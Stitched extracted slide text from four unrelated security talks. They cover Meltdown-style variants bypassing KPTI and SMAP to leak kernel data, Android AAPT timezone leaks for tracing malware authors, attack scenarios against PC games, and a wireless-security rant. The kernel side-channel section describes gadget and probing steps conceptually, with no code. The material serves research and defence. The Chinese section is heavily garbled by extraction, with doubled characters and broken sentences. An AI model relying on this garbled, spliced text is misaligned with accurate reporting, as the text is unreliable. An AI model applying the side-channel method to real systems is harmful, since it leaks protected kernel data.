推测执⾏行行在这⾥里里 2. 处理理器器推测地将来⾃自⽬目标上下⽂文的指令执⾏行行到微体系结构 的隐蔽通道中。例例如, x > array1_size 执⾏行行流程应该 在这⾥里里 推测执⾏行行在这 ⾥里里! 将array2的⼀一个槽加载到 缓存中 Sepctre(v1) 的⼯工作原理理 3: 可以通过定时访问CPU缓存中的内存地址来恢复敏敏感 数据。 Array2基类 256槽 0 1 2 254 255 所选索引是⽬目标字节的值。例例如, 如果所选索引是 0x66, 那对应值就是‘B’。 Sepctre( v1)的⼯工 作原理理 Sepctre如何读取内核数据 array1+x 指向秘 密 ü  array1和array2在⽤用户空间中 ü  x 由对⽅方控制 array2槽索引 泄漏漏内核数据 1. ⾮非特权应⽤用程序+ 2. 权限检查+ 3. ⽆无缺陷内核 耶! 我们现在得到内核数据了了 SMA P Spectre (Gadget in Kernel Space) 但是... KPTI Meltdown Spectre (Gadget in User 内核空 间 PCID有助于提⾼高性能 KPTI之前 ⽤用户空 间 内核空 间 ⽤用户空 间 内核空 间 ⽤用户空 间 KPTI之后 ⽤用户/内核模式 内核模式 ⽤用户模式 KPTI 即使我们把Spectre组件放进 内核空间, SMAP也会阻⽌止它。 SMAP 监督者模式 (内核空间) ⽤用户模式 (⽤用户空间) ü  当CR4中的SMAP位被设置时,SMAP将被启 ⽤用。 ü  通过对EFLAGS.AC标志的设置,可临时禁⽤用 SMAP。 ü  SMAP检查早在退役,甚⾄至执⾏行行之前就已经完 成了了。 攻击和规避总结 技术 窃取内核 数据? 规避 规避之后, 内核数据泄 漏漏? Spectre 成功 KPTI + SMAP 失败 Meltdown 成功 KPTI 失败 ForeShadow 成功 KPTI 失败 仅⽤用于内核数据泄漏漏。其它总结不不包含在这⾥里里。 绝望... KPTI + SMAP + KUI Image from http://nohopefor.us/credits KPTI之前 ⽤用户 空间 内核 空间 KPTI之后 ⽤用户/内核模式 绝望中的希望 共享范围作为 泄漏漏内核数据 的桥 ⽤用户 空间 内核 空间 ⽤用户 空间 内核模式 ⽤用户模式 内核 空间 这部分不不能被消 除 中断 SMAP + KPTI + ⽤用户内核隔离 1: 使⽤用新的组件在⽬目标内核数据和桥之间 建⽴立数据依赖关系(绕过SMAP) 2: 使⽤用可靠的Meltdown来探查桥,从⽽而泄 漏漏内核数据 (绕过 KPTI和KUI) 新型Meltdown v3z 第⼀一步: 触发New Gadget 与Spectre组件类似, 但不不完全相同 指向⽬目标地址 Arr2+offset 是 “桥”的库 x and offset 应由对⽅方控制!! “桥”的槽序数 如何触发新的组件 有很多⽅方法可以触发新的组件: 1: Syscalls 2: /proc and /sys 等接⼝口 3: 中断和异常处理理程序 4: eBPF 5: … 如何找到新的组件 源代码扫描 我们在Linux Kernel 4.17.3中使⽤用smatch, Ø  默认设置: 36 备选组件 Ø  全选设置: 166 备选组件 However, there are many restrictions to the gadget in real exploits ü  偏移量量范围 ü  可控调⽤用 ü  缓存噪⾳音 ü  … ⼆二进制代码扫描?? 第⼆二步: 探查桥 ⽤用户数组库 0 1 2 254 255 桥库 0 1 2 254 255 ⽤用户空间 显然,每⼀一轮都有(256*256)个探测 为了了使结果可靠,通常我们需要运⾏行行多轮次 桥 低效 使其实⽤用/⾼高效 ⽤用户数组库 0 1 2 254 255 桥库 0 1 2 254 255 为什什么我们需要在Meltdown⾥里里探测256次? 如果我们知道桥库槽0的值,我们只需探测⼀一次。 我们可以提前知道这个值吗? ⽤用户空间 桥 不不适⽤用于Meltdown (v3) Meltdown能够读取内核数据。 但是, 它要求⽬目标数据在CPU L1d缓存中。 如果⽬目标数据不不在L1d缓存中, 0x00返回. 我们需要可靠地读取内核数据! 可靠的 Meltdown (V3r) 我们使⽤用Intel CPU E3-1280 v6在Linux 4.4.0,和Intel CPU I7-4870HQ在MacOS 10.12.6(16G1036)上进⾏行行测试。 V3r 共有两步: 第⼀一步:将数据放⼊入L1d缓存 第⼆二步:使⽤用v3获取数据 指向⽬目标地址 内核中的任何 地⽅方 信息汇总 离线阶段: Ø 使⽤用v3r转储⽹网桥数据,并将其保存到表中 在线阶段: Ø 第⼀一步:在⽬目标数据和桥槽之间建⽴立数据依赖关系 Ø 第⼆二步:探测桥的每个槽 效率: Ø  从⼏几分钟 (在某些情况下甚⾄至是1⼩小时左右) 到只要⼏几秒钟只泄 漏漏 ⼀一个字节。 演示设置 内核: Linux 4.4.0 with SMAP + KPTI CPU: Intel CPU E3-1280 v6 在内核空间, 我们有⼀一个 机密消息, 例例如, xlabsecretxlabsecret, 位置在, 例例如, 0xffffffffc0e7e0a0 探讨对策 软件规避 ü  修补内核以消除所有预期的组件 ü  最⼩小化共享的“桥”区域 ü  随机化共享的“桥”区域 ü  监视基于缓存的侧通道活动 探讨对策 硬件规避 ü  在执⾏行行阶段中执⾏行行权限检查 ü  修改推测执⾏行行和⽆无序执⾏行行 ü  使⽤用侧通道抗缓存,例例如独占/随机缓存 ü  增加硬件级侧通道检测机制 重点信息 •  在启⽤用KPTI + SMAP + KUI的情况下,Trinational Spectre 和 Meltdown⽆无法窃取内核数据。 •  我们新型的Meltdown variants 能够打破最强的保护(KPTI + SMAP + KUI)。 •  所有现有的内核都需要修补以规避我们的新攻击。 不不可能完成的任务 从⽤用户空间窃取内核数据 Q&A image is from https://i.redd.it/ Yueqiang Cheng 百度安全
pdf
@unapibageek - @ssantosv Tracking Malware Developers by Android “AAPT” Timezone Disclosure Bug ROCK APPROUND THE CLOCK! @unapibageek - @ssantosv Sheila Ayelen Berta Sergio De Los Santos Security Researcher ElevenPaths (Telefonica Digital cyber security unit) Head of Innovation and Lab ElevenPaths (Telefonica Digital cyber security unit) @unapibageek - @ssantosv @unapibageek - @ssantosv @unapibageek - @ssantosv @unapibageek - @ssantosv WHAT WE DID? @unapibageek - @ssantosv WHAT WE DID? @unapibageek - @ssantosv WHAT WE DID? @unapibageek - @ssantosv WHAT WE DID? @unapibageek - @ssantosv @unapibageek - @ssantosv WHAT IS AAPT? @unapibageek - @ssantosv WHAT IS AAPT? @unapibageek - @ssantosv Aapt timezone disclosure @unapibageek - @ssantosv Aapt timezone disclosure @unapibageek - @ssantosv Aapt timezone disclosure @unapibageek - @ssantosv Aapt timezone disclosure @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE EVEN = 0 @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv ANALYZING SOURCE CODE @unapibageek - @ssantosv THE PROBLEM BUG = LOCALTIME(0) @unapibageek - @ssantosv THE PROBLEM BUG = LOCALTIME(0) EXPECTED = LOCALTIME(TIMESTAMP) @unapibageek - @ssantosv runtime analysis @unapibageek - @ssantosv runtime analysis @unapibageek - @ssantosv runtime analysis @unapibageek - @ssantosv runtime analysis @unapibageek - @ssantosv runtime analysis @unapibageek - @ssantosv WHY A TIMEZONE? HOUR = UNIX EPOCH +/- TIMEZONE Localtime(): @unapibageek - @ssantosv WHY A TIMEZONE? HOUR = UNIX EPOCH +/- TIMEZONE E.g: GMT +3 = UNIX EPOCH + 3Hs GMT -3 = UNIX EPOCH - 3Hs Localtime(): @unapibageek - @ssantosv WHY A TIMEZONE? AAPT BUG = 0 +/- TIMEZONE @unapibageek - @ssantosv WHY A TIMEZONE? AAPT BUG = 0 +/- TIMEZONE E.g: GMT +3 = 0+3 = 01-01-80 03:00 GMT -3 = 0-3 = 12-31-79 21:00 @unapibageek - @ssantosv A LITTLE DETAIL @unapibageek - @ssantosv A LITTLE DETAIL @unapibageek - @ssantosv A LITTLE DETAIL @unapibageek - @ssantosv Offset table GMT +0 = 01-01-80 00:00 GMT +1 = 01-01-80 01:00 GMT +2 = 01-01-80 02:00 GMT +3 = 01-01-80 03:00 GMT +4 = 01-01-80 04:00 GMT +5 = 01-01-80 05:00 GMT +6 = 01-01-80 06:00 GMT +7 = 01-01-80 07:00 GMT +8 = 01-01-80 08:00 GMT +9 = 01-01-80 09:00 GMT +10 = 01-01-80 10:00 GMT +11 = 01-01-80 11:00 @unapibageek - @ssantosv Offset table GMT +12/-12 = 01-01-80 12:00 GMT -11 = 12-31-80 13:00 GMT -10 = 12-31-80 14:00 GMT -9 = 12-31-80 15:00 GMT -8 = 12-31-80 16:00 GMT -7 = 12-31-80 17:00 GMT -6 = 12-31-80 18:00 GMT -5 = 12-31-80 19:00 GMT -4 = 12-31-80 20:00 GMT -3 = 12-31-80 21:00 GMT -2 = 12-31-80 22:00 GMT -1 = 12-31-80 23:00 GMT +0 = 01-01-80 00:00 GMT +1 = 01-01-80 01:00 GMT +2 = 01-01-80 02:00 GMT +3 = 01-01-80 03:00 GMT +4 = 01-01-80 04:00 GMT +5 = 01-01-80 05:00 GMT +6 = 01-01-80 06:00 GMT +7 = 01-01-80 07:00 GMT +8 = 01-01-80 08:00 GMT +9 = 01-01-80 09:00 GMT +10 = 01-01-80 10:00 GMT +11 = 01-01-80 11:00 @unapibageek - @ssantosv EVEN BEYOND AAPT @unapibageek - @ssantosv EVEN BEYOND AAPT @unapibageek - @ssantosv EVEN BEYOND AAPT @unapibageek - @ssantosv @unapibageek - @ssantosv apks == zip @unapibageek - @ssantosv apks == zip @unapibageek - @ssantosv SELF SIGNED CERTIFICATES YOU CAN CREATE CERTIFICATES AD-HOC WHEN YOU ARE ABOUT TO COMPILE YOUR APK @unapibageek - @ssantosv SELF SIGNED CERTIFICATES CERTIFICATES STORE THE TIME AND DATE OF THE COMPUTER WHERE THEY HAVE BEEN CREATED, IN UTC TIME @unapibageek - @ssantosv DATETIMES Certificate creation datetime (UTC): Signature file datetime is the local computer time (timezone included): @unapibageek - @ssantosv DATETIMES Certificate creation datetime (UTC): Signature file datetime is the local computer time (timezone included): 2018/05/24 15:27:10 2018/05/24 22:26:22 +-50 seconds later than the certificate @unapibageek - @ssantosv rock appround The clock File time Cert time 2018/05/24 15:27:10 - 2018/05/24 22:26:22 = -7 hours and 48 seconds: GMT -7 @unapibageek - @ssantosv rock appround The clock File time Cert time 2018/07/08 14:30:16 - 2018/07/08 13:30:12 = 1 hour: GMT +1 (File created 4 seconds after the cert…) Another example: @unapibageek - @ssantosv mapping the timezone UTC 0 STORED IN CERTIFICATE UTC +8 STORED IN ZIP FILE Assuming minutes and seconds are “close in time” because certificate and signature are created together @unapibageek - @ssantosv mapping the timezone UTC 0 STORED IN CERTIFICATE UTC +8 STORED IN ZIP FILE Assuming minutes and seconds are “close in time” because certificate and signature are created together 8 HOURS @unapibageek - @ssantosv GMT CHECK TOOL @unapibageek - @ssantosv GMT CHECK TOOL @unapibageek - @ssantosv GMT CHECK TOOL @unapibageek - @ssantosv GMT CHECK TOOL @unapibageek - @ssantosv statistics @unapibageek - @ssantosv TIMEZONE LEAKAGE BY AAPT BUG: 179.122 APKs TIMEZONE LEAKAGE BY DATETIMES: 477.849 APKs MORE THAN HALF A MILLION OF APKs LEAKING THEIR TIMEZONE FROM OUR 10 MILLION APKS DATABASE statistics 61056 APKs AAPT BUG UTC +0 31708 APKs TIMESTAMP LEAK 3082 APKs 18479 APKs AAPT BUG UTC +7 62863 APKs TIMESTAMP LEAK 2969 APKs @unapibageek - @ssantosv Is this useful for malware? MALWARE (1000 SAMPLES) ANALYZED WITH AAPT TIMEZONE DISCLOSURE Type # of APKs Detected only by 1 AV Detected only by 2 AV Detected only by 3 AV Detected by +3 AV TOTAL % detected UTC +0 1000 45 13 6 22 86 8,60% UTC +1 1000 55 5 4 30 94 9,40% UTC +2 1000 60 6 4 26 96 9,60% UTC +3 1000 38 21 6 21 86 8,60% UTC +4 1000 71 28 27 72 198 19,80% UTC +5 1000 74 7 6 22 109 10,90% UTC +6 1000 54 0 1 3 58 5,80% UTC +7 1000 66 18 9 46 139 13,90% UTC +8 1000 102 47 39 126 314 31,40% UTC +9 1000 57 4 0 4 65 6,50% UTC +10 532 15 3 2 10 30 5,64% UTC +11 276 18 0 4 47 69 25,00% UTC +12 72 6 0 0 0 6 8,33% UTC -1 1000 61 10 11 19 101 10,10% UTC -2 1000 42 25 17 17 101 10,10% UTC -3 391 19 2 3 2 26 6,65% UTC -4 1000 74 3 6 16 99 9,90% UTC -5 1000 53 13 11 6 83 8,30% UTC -6 1000 30 10 9 68 117 11,70% UTC -7 1000 92 11 8 62 173 17,30% UTC -8 21 3 1 0 0 4 19,05% UTC -9 10 0 1 0 0 1 10,00% UTC -10 2 0 0 0 0 0 0,00% UTC -11 6 0 0 0 0 0 0,00% @unapibageek - @ssantosv statistics 1000 SAMPLES WITH AAPT TIMEZONE DISCLOSURE % of samples identified as malware @unapibageek - @ssantosv MALWARE (1000 SAMPLES) ANALYZED WITH FILE/CERTiFICATE DATETIMES Type # of APKs Detected only by 1 AV Detected only by 2 AV Detected only by 3 AV Detected by +3 AV TOTAL % detected UTC +0 1000 35 16 11 107 169 16,90% UTC +1 1000 58 8 2 26 94 9,40% UTC +2 1000 76 13 16 80 185 18,50% UTC +3 1000 91 28 15 60 194 19,40% UTC +4 1000 72 27 18 65 182 18,20% UTC +5 1000 58 29 31 153 271 27,10% UTC +6 1000 98 24 16 70 208 20,80% UTC +7 1000 53 20 3 43 119 11,90% UTC +8 1000 83 31 16 218 348 34,80% UTC +9 1000 71 51 3 36 161 16,10% UTC +10 1000 43 7 16 44 110 11,00% UTC +11 1000 53 12 7 139 211 21,10% UTC +12 1000 55 10 1 59 125 12,50% UTC -1 1000 17 6 3 31 57 5,70% UTC -2 1000 29 9 6 29 73 7,30% UTC -3 1000 36 3 4 40 83 8,30% UTC -4 1000 59 11 5 145 220 22,00% UTC -5 1000 49 7 2 153 211 21,10% UTC -6 1000 43 15 8 383 449 44,90% UTC -7 1000 33 11 7 23 74 7,40% UTC -8 1000 35 10 4 32 81 8,10% UTC -9 276 16 4 2 24 46 16,67% UTC -10 588 36 21 4 24 85 14,46% UTC -11 293 26 4 1 20 51 17,41% Is this useful for malware? @unapibageek - @ssantosv statistics 1000 APKS WITH FILE/CERTiFICATE DATETIMES (do not forget DST!) % of samples identified as malware @unapibageek - @ssantosv statistics DISTRIBUTION OF MALWARE BY TIMEZONE AND USING… 3807 APKS IDENTIFIED AS MALWARE WITH FILE/CERTIFICATE DATETIMES 2055 APKS IDENTIFIED AS MALWARE WITH AAPT TIMEZONE DISCLOSURE @unapibageek - @ssantosv statistics IN OUR DATABASE, THE STANDARD RATE IS: FOR EACH RANDOM 1000APKS WE IDENTIFY 60 AS MALWARE, So: 1000 APKs sample # APKs Detected by +3 AV Times more likely to be malware than Standard Rate UTC +5 153 2,55 UTC +8 218 3,63 UTC -5 153 2,55 UTC -6 383 6,38 UTC +4 72 1,20 UTC +8 126 2,10 IN SHORT: AN UTC-6 APK IS 6,38 TIMES MORE LIKELY TO BE MALWARE THAN STANDARD RATE @unapibageek - @ssantosv EXAMPLES @unapibageek - @ssantosv EXAMPLES FILE/CERTiFICATE DATETIMES REAL EXAMPLE: DEATHRING AAPT TIMEZONE DISCLOSURE REAL EXAMPLE: JUDY @unapibageek - @ssantosv EXAMPLES CHINESE COMPILED APKS IN THE SPOTLIGHT @unapibageek - @ssantosv EXAMPLES HIDDAD MALWARE, COMES FROM… @unapibageek - @ssantosv EXAMPLES BOTH TECHNIQUES EXAMPLES: certificateValidFrom signatureFileLastUpdateDate oldestDateFile File/Certificate DateTime Technique 2016/12/04 07:27:57 2016/12/04 10:30:14 1980/01/01 03:00:00 03:02:17 2016/12/03 16:21:02 2016/12/03 19:24:30 1980/01/01 03:00:00 03:03:28 2016/12/03 11:52:30 2016/12/03 14:55:54 1980/01/01 03:00:00 03:03:24 @unapibageek - @ssantosv EXAMPLES BOTH TECHNIQUES EXAMPLES: certificateValidFrom signatureFileLastUpdateDate oldestDateFile File/Certificate DateTime Technique 2016/12/04 07:27:57 2016/12/04 10:30:14 1980/01/01 03:00:00 03:02:17 2016/12/03 16:21:02 2016/12/03 19:24:30 1980/01/01 03:00:00 03:03:28 2016/12/03 11:52:30 2016/12/03 14:55:54 1980/01/01 03:00:00 03:03:24 FULLY AUTOMATED? @unapibageek - @ssantosv @unapibageek - @ssantosv metadata WANNACRY METADATA, THE INSPIRATION @unapibageek - @ssantosv metadata WANNACRY METADATA, THE INSPIRATION @unapibageek - @ssantosv metadata WAS IT USEFUL IN ANDROID MALWARE? @unapibageek - @ssantosv metadata WAS IT USEFUL IN ANDROID MALWARE? @unapibageek - @ssantosv strings ./aapt d --values strings android_app.apk @unapibageek - @ssantosv strings ./aapt d --values resources android_app.apk | grep '^ *resource.*:string/' --after-context=1 > output.txt @unapibageek - @ssantosv Our tool @unapibageek - @ssantosv Conclusions & Future Work We presented different ways for not just leaking timezone but as well… • Possibly detecting automated malware creation • Possible better Machine learning features in detecting APK malware • A tool for a quick view of all this useful information around APKs metadata Future work should be more accurate about DST and using more samples @unapibageek - @ssantosv Thank you! Sheila Ayelen Berta Sergio De Los Santos Security Researcher – ElevenPaths (Telefonica Digital cyber security unit) @UnaPibaGeek sheila.berta@11paths.com Head of Research – ElevenPaths (Telefonica Digital cyber security unit) @ssantosv sergio.delossantos@11paths.com
pdf
Gaming - The Next Overlooked Security Hole Ferdinand Schober Overview  Overview  Historical development  Know thy gamer  Know thy developer  Know thy engine  Profit?  Virtual Economies  Current malware  Games 2.0 & Privacy  Exercise in Exploits  The little nude patch that could  View my post and get owned  The ad from hell Clarifications  In the context of this talk:  Games = PC games  No video games (don’t think about consoles!)  Dominant OS: Windows  Non-casual games  ‘Hard-core’ games  Looking at the game client  Not genre-specific  No web-based games  Some issues are shared, but this is not the focus here  Limited view at online games  Think of your generic MMO (client yet again) Historical development Games (late 1990ies) Games (2008) Historical development Games (late 1990ies) Games (2008) Non-mainstream • ‘Geeks play games’ • Estimated budget: 2-3M US$ 1-3 years • Self-publishing common, but declining Mass-market applications • GTA4 review in the NY Times? • Estimated budget: 15-20M US$ 2-3 years • ~3 major publishers provide funding • EA being biggest • Homogenization Historical development Games (late 1990ies) Games (2008) Custom graphics solutions • Most games still implement their own graphics engine • Only DirectX/OpenGL shared Full-featured engines • Limited group of engines (~3) used by most games, number is dropping • Includes physics, scripting, audio, AI • One exploit covers multiple games! Historical development Games (late 1990ies) Games (2008) Middleware is limited • In-game physics not really feasible yet (but getting there) • Mostly custom solutions Middleware is standard • Engines provide features, rest is done through middleware • Same as before! Historical development Games (late 1990ies) Games (2008) Physical media is king • CDs/DVDs are the distribution media Push for shared platforms that require online presence (Games 2.0) • Steam, GfW Live • Used for distribution and content protection • Platform also used for multiplayer • Automatic patching Historical development Games (late 1990ies) Games (2008) Offline games • Only very few MMOs and they are not really there yet • Multiplayer game modes available • Direct connections - no common platform Online is default • MMOs are a mass market (WoW!) • Online presence becoming fully integrated through platform • I can see what you play! Historical development Games (late 1990ies) Games (2008) Little custom content • Editors considered a ‘goodie’ to keep the game going • Very limited group of people were producing content Custom content is part of feature set • Editors shipped almost by default • Custom content is expected - the next big thing • XMLification of content • Custom content is automatically pulled into the game Historical development Games (late 1990ies) Games (2008) Community through sites/boards • Mostly web/chat based • Not integrated into game Built-in community features • Based in the common online platform • Available in any game • Again: I can see what you play! What did not change? o Developers are pressed for time/money o Time is spent on ‘making it pretty’ – ‘pretty sells’ o Products need to use more middleware o Canned code cannot be fully reviewed, inherits issues o Security generally not a major concern o Favorite quote: ‘It’s just a game!’ o Release games are not that stable o Crashes do not raise suspicion o Patching is common o But mostly for gameplay features o Hacks/Cracks/Trainers are readily accessible o Just google it! o Do you really trust the serial generator? o Piracy o Push towards alternatives (now: online distribution or authentication platforms) for the wrong reasons Do we see the problem? It doesn’t look pretty so far! Know thy gamer  PC gamers  Generally more hard-core than the console gamer  Higher learning curve to get a game running  Install nightmares, configuration issues, etc…  Know the OS and hardware fairly well  Need to know about drivers and configuration  Higher-end hardware required  Changes OS settings to get games running (faster)  Experienced gamers will disable anything (!) to get more performance  Yes, that means everything that uses CPU cycles  Use PC as multi-purpose system  Not only for gaming like consoles  Used for web browsing, data storage, etc…  System has plenty of personal information Know thy gamer  PC gamers  PC gamers are not paranoid  Gamers are used to crashes and erratic behavior  Used to frequent patching  Will use custom content as long as it is ‘pretty’  Generally custom content is trusted (‘What harm can a new model do?’)  Games need to be run with highest privileges  Games can do everything that the admin can do  Slow shift towards more privilege security (due to Windows Vista)  Most gamers spend a lot of time online  Due to the nature of the games MMOs, multiplayer games, …  Also for community activities (boards, …)  Distribution platform might require it (e.g. Steam) Know thy gamer  PC gamers  Given a choice they will take performance or ‘fancy’ hardware over security Know thy dev  Game developers  Are like most other developers  Will make the same mistakes (we are all human) And:  Are under severe time pressure  Hard deadlines (has to make holiday season, ship date)  Most games run late  Need to use canned code  Love latest and greatest (aka. ‘shiny complex’)  Does not help with schedule and testing  Quick design = quick exploits  New features = new bugs Know thy engine  ~810 PC games released in 2007*  42 games considered major selling games  Results:  Still multiple contenders for graphics engine  Not so for physics engines 12 30 Graphics Engine ‘Major Sellers’ Custom Reused 8 130 672 Distribution Platform total Live for Windows Steam Physical Media * based on Wikipedia Know thy engine Graphics & Animation Engine Audio Engine Physics Engine 3rd party middleware Sandbox * may be full C-like language Scripting Engine* In-Game Ads 3rd party middleware NEW Online Platform 3rd party middleware NEW and more…  Engine fixes by users are rarely shared  Fixes from other engine users are usually not shared  Fixes are custom for game/developer Know thy engine  Engine/platform versions easy to trace  Engine binaries are easy to locate  Binaries provide version numbers  Shared engines provide easy exploits  Issue in one game becomes issue for all games with the same engine binaries  Customization of engine actually might help  Can’t we patch the engine?  Historically games are patched, not engines  Engine developers do not roll out patches, game developers do  Might in some cases be the same developer  Customization doesn’t help engine patch process  Automatic patching can be spoofed too Profit? It’s just a game, there is nothing to gain, right? Wrong! Profit? Game Side • Griefing/Cheating • Personal information • Payment information • Think platform/MMO • Existing virtual assets System Side • Pretty much everything you get from hacking a system - and - • Systems of gamers are usually ‘beefier’ • More high-end then average systems (= more CPU cycles) • Broadband network connection • Overall: Good staging system Virtual Economies  Virtual economies have large user bases  Very gamer is a member and spends money  Currently 14+M gamers active in MMOs alone  User base is huge target for current malware  Virtual economies now create significant revenue  Traditionally through in-game assets  Also through services (gold-farming, auto-leveling, …)  Revenue is in real money!  Some games are built purely on in-game micro- transactions  Even easier to gain real money from digital assets Virtual Economies  Any kind of exploit can result in quick gains for the attacker  Stealing assets from legitimate player  Selling assets produced through exploits  Leveraging the player’s account  Payment information is available too…  Exploits need to be quickly fixed on server/client side  Slow fixes can cause whole in-game economy to crash  There is a lot at stake here! Current malware  ‘Account stealers’  Targeted at acquiring account credentials for MMOs  Various different families of malware  Most common: Win32/Taterf  Top 8 malware families detected on ~2.5M systems in June* (~ 18% of the total user base) * based on MS Malware Protection Center 2.5 11.5 MMO Players (in millions) Infected Clean/Unknown Current malware  MMOs are most common target for malware in the game segment  Propagation mostly through community  Browser exploits through community sites  Through unofficial patches/tools  As part of social engineering Current malware Games 2.0 & Privacy  Games 2.0: Fully integrated online games or games that use online platforms  Examples: MMOs, Steam, GfW Live  Privacy concerns  System knows when game is run, required to ‘unlock’ game  Online status is published  Can be hidden, but is still known underneath the hood  Future features can show location as well (think: mobile status)  Games that have been played and progress are visible  Think ‘achievements’ and beyond  Ad systems keep even more detailed track of gamers  List of friends is very easy to obtain  Basically everything a social platform has – and more  Hard to get around this if you want to play any game, especially online Exercise in Exploits Case Studies  The little nude patch that could  View my post and get owned  The ad from hell The little nude patch that could  <Engine Exploit>  Scenario:  Alice plays game but is not happy with the scene on the right (for purely academic reasons)  Alice finds a nude patch provided by Bob at nudepatchworld.com*.  Alice downloads and reviews files  Patch adds new character file (NudeAlexis.chr) and replaces references in game configuration to point to the new content  Alice considers changes harmless (no executable in package)  Alice installs patch and enjoys new content  Meanwhile, Bob enjoys Alice’s credit limit * Does not exist as of August 2008, why not? The little nude patch that could  What happened?  Let’s look at the new content in detail:  Wait? Script code?  This is the problem  Crafted so it gets executed when model is loaded for the first time  Executed in script engine with game permissions  Usually Administrator, remember? NudeAlexis.chr • New 3D character model (model file) • New character skin (bmp/jpg/png/… your pick) • New script code The little nude patch that could  Exploiting the script code  Script code runs in sandbox  Nothing bad can happen, right?  Script engines are highly complex, finding a flaw is just a matter of time  Grab your favorite fuzzer and go  Sufficient flaw allows system access with game permissions  Flaw can be reused in multiple approaches  Flaw probably works with other games if scripting engine is shared  Might crash the game, but gamers are used to that (sadly)  Once in the system with Administrative access, everything is lost View my post and get owned <Social Engineering>  Scenario:  Alice is playing a popular MMO (> 9 mil. Users) and likes to share information with other players through the game’s message board  Bob posts a question and a little flash tag with it  Alice views Bob’s post and responds  Next time Alice logs into the game all her items are gone  Meanwhile Bob sells Alice’s items on Ebay and uses her account for more posts View my post and get owned  What happened?  Pretty straight-forward:  Bob exploits a known Flash vulnerability to get access to Alice’s machine and obtain her account credentials  Bob isn’t interested in anything else (for now)  Single board attack can yield hundreds of accounts for Bob  Even if game is patched and secure, web browser might not be  Securing games is not everything  Community locations need to be locked-down as well  Gamers need to be educated properly  Sometimes these locations are outside the reach of developers The ad from hell  <Middleware Exploit>  Scenario:  Alice plays her favorite game that contains new in-game ads  Ads are provided through new middleware  Bob uploads a custom image file to the ad system  Through spoofing server data, gaining access to servers or submitting it as content  Alice (and all other gamers) experience a crash when they view this image in the game  Meanwhile, all machines are belong to Bob The ad from hell  What happened?  Image exploited a flaw in the display engine of the ad system  One flaw covers all gamers  User can only prevent this attack by not playing the game  Exploit in in-game advertising can put the whole cloud at risk  Server might need to be breached, but servers can also be spoofed  Data submitted to the system needs to be sanitized  In-game advertising solutions have significantly more logic than just rendering  Who, when, where, what, for how long?  More code increases attack surface Questions?
pdf
10 Things That Are Pissing Me Off RenderMan, Church of Wifi Caution: The first 3 rows may get wet 10 Things That Are Pissing Me Off ● There's a lot more, but we're sticking to Hacker related ones ● This is cheaper than therapy ● Got so pissed off I'm doing something about some of them, others I need help ● Save discussion till afterwards, I only have 20 minutes #1 WPA-RADIUS Documentation #1 WPA-RADIUS Documentation ● Been saying 'use WPA-RADIUS' for best security for years ● Ever tried to set it up open source? ● No two sets of documentation is the same ● Every distro a little different ● Took me weeks to get something running ● How is Joe IT guy supposed to do it if I can't? #1 WPA-RADIUS Documentation ● Decided to write generic laymans instructions ● Distro, vendor generic instructions for building a small WPA-RADIUS system ● Maybe a Wiki for others to submit their own changes and notes about different systems, scripts, ideas, etc. ● Every AP supports it, why is'nt it being used; Because it's confusing as hell. #2 Ideas Dying a Horrible Death #2 Ideas Dying a Horrible Death ● Like many, I have random ideas ● Some better than others ● Some need to be made into products for the greater good ● i.e. Wedding photo download station #2 Ideas Dying a Horrible Death ● Got married in the spring, wanted as many photo's as possible. Most guests had digital cameras ● In a moment of brilliance, setup laptop w/ 25-in- one card reader, got everyones pics as they left, an extra 1000 photo's ● Some simple refinements could make a good product to sell to wedding planners and photographers. Put me down for 10% gross ● Need to talk more and not hoard ideas #3 Lack of Tool Evolution #3 Lack Of Tool Evolution ● So many useful wireless (and other) tools never develop beyond proof-of-concept ● Airpwn, Karma, Void11 ● I can't code so I can't fix it ● I can bribe though! #3 Lack of Tool Evolution ● Wireless Village project ● Posted development I think needs to be tackled and reward milestones, feel free to exceed goals ● Beer, 10 years worth of stickers, maybe cash, whatever I can scrape up ● All open source tools with evolution to be freely available ● 8000 hackers together in the same place, why not see what happens when you ask for a tool #4 802.11n #4 802.11n ● 40Mhz channels scare me ● Already have issues with interference on 802.11b/g (channel 1,6,11 all very busy) ● Now a neighboor can setup a 802.11n station and stomp all over everyone (Greenfield mode) ● Any ideas what to do about this problem, other than make money consulting and prolonging the problem? ● Discussed in the wireless village, but want to hear from more people #4 802.11n #5 Protocol Discrimination #5 Protocol Discrimination ● Santa Fe, New Mexico ● Group 'Allergic' to Wi-Fi alleges that Wi-Fi in public buildings is discrimination and violating their rights under ADA ● I'm allergic to stupid, your existence is violation of my rights ● How can you be allergic to a protocol, what about Bluetooth on patrons? Cordless phones? All the other 2.4Ghz devices? ● Has anyone put him in a faraday cage to test? #5 Protocol Discrimination ● By their own logic, they should probobly be dead ● Too many sources to regulate ● I'm allergic to Police band radios, please stop using them ● Easy solution, money out of my own pocket to do it.... #5 Protocol Discrimination #6 Airline Rate Fluctuations #6 Airline Rate Fluctuations ● Why is it that Airplane ticket costs rise and fall over time? ● Edmonton to New York via Toronto is cheaper than Edmonton to Toronto? ● WTF! ● While I file federal complaints.... ● Websites that track flight prices over time ● How is this legal! #6 Airline Rate Fluctuations New York to Edmonton Via Toronto Toronto to Edmonton Same Flight! Same Day! #6 Airline Rate Fluctuations ● Not just the TSA with the rectal probe at the airport ● Probably happens a lot, many airlines ● Website to scrape this kind of data and flag discrepancies, or... ● Find connections that are cheaper and just not take the second leg ● Give consumers the tools to file complaints, fight back ● farecast.com w/o the Microsoft buyout #7 There's Too Much Security! #7 There's Too Much Security! ● Don't throw anything (It's not Shmoocon!) ● Pushing the envelope does wonderful things ● Is that the best use for our talents and time? ● Freezing RAM to extract crypto is cool, but... ● Botnet sizes show more is needed to be done on the basic, before we work on the advanced #7 There's Too Much Security ● Uncertainty principal/Observer effect – If we observe problems in a protocol or product, we cause a change, usually increased scrutiny by bad guys ● Debian RNG bug was a year old, did it matter? ● How do you get Joe Public to actually do something about the bug you found? ● If we can find ways of stopping the source of problems, the unknown realm won't matter as much #7 There's Too Much Security! ● Protecting against one-off, low probability attacks instead of making the basics easy ● See thing #1, WPA-Radius instructions ● 